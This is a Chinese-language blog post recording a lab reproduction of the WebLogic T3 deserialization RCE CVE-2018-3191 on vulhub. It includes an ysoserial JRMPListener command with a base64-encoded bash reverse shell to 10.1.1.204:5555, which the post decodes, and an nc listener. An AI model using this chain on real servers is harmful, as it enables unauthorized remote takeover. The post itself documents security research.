0%

WebLogic远程代码执行漏洞(CVE-2018-3191)复现

今天测试,遇到了这个漏洞,vulmap扫到了这个漏洞,另一个weblogic漏洞利用工具却没扫到,就想着来复现一下这个漏洞,没想到还踩了个大坑,刚好水篇文章记录一下…

漏洞简介

WebLogic远程代码执行漏洞(CVE-2018-3191)允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。

影响版本

  • WebLogic 10.3.6.0
  • WebLogic 12.1.3.0
  • WebLogic 12.2.1.2
  • WebLogic 12.2.1.3

漏洞复现

使用vulhub CVE-2018-2628搭建漏洞环境,docker-compose up -d开启weblogic 10.3.6.0服务器

1、开启RMI监听

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1097 CommonsCollections1 "/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMjA0LzU1NTUgMD4mMQ==}|{base64,-d}|{/bin/bash,-i}"

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMjA0LzU1NTUgMD4mMQ==解码后:bash -i >& /dev/tcp/10.1.1.204/5555 0>&1,base64编码避免反弹shell中特殊符号被Runtime.getRuntime().exec()转义

2、nc监听5555端口

1
nc -lvp 5555

3、使用CVE-2018-3191这个项目中的weblogic-spring-jndi-10.3.6.0.jar生成payload

4、发送payload

5、getshell

3、4、5步没有详细写是因为在第3步发现个大坑,没办法生成payload,如下图:

搜了一下报错原因,发现有人提到MANIFEST.MF格式或者位置不正确的,然后试了一下使用压缩包打开这个jar想看一下内容,结果竟然打不开,也无法导入IDEA……

去找了一下还有没有其他地方有这文件,发现很多人复现都用的是voidfyoo大佬的文件,但这个存储库已经被删掉了……

没办法按流程复现,只能打开大佬的weblogic工具,扫了一遍漏洞环境

因为这个漏洞没有回显,所以还是用上边第一步的RMI反弹shell

收到反弹shell

参考链接

https://zejunyang.github.io/2018/10/24/cve-2018-3191/

https://www.cnblogs.com/backlion/p/9851625.html

https://github.com/jas502n/CVE-2018-3191

https://github.com/pyn3rd/CVE-2018-3191